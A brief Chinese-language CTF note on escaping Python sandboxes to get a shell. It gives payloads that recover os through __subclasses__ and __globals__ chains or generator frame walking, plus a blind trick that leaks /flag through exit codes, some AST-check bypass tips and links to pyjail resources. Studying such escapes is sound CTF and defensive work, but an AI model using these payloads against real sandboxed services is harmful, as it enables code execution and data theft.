目的是 getshell.
要拿到 os.system() 这个函数。
如果没有 builtin
[].__class__.__base__.__subclasses__()[-2].__init__.__globals__['sys'].modules['os']可以通过栈针操作
def f():
yield g.gi_frame.f_back
g = f()
frame = [i for i in g][0]
b = frame.f_back.f_back.f_back.f_globals['sys']
os = b.modules['sys'].modules['os'];无回显可以考虑 system 返回值或者 sleep 看返回值拿值(可能需要一定的时间)。
python -c 'import sys;sys.exit(ord(open("/flag", "r").read()[0]))'
https://note.tonycrane.cc/ctf/misc/escapes/pysandbox/
https://forum.butian.net/share/4114
https://github.com/jailctf/pyjailbreaker
以及一些 trick:
Python 3.10 看上去可以通过 Exception 捕获异常读obj绕过。
f-string 中的 format 得到一定的值不会触发 ast attribute 检查。
后记
python沙箱逸出还是太难绷了,所以不如来写rust。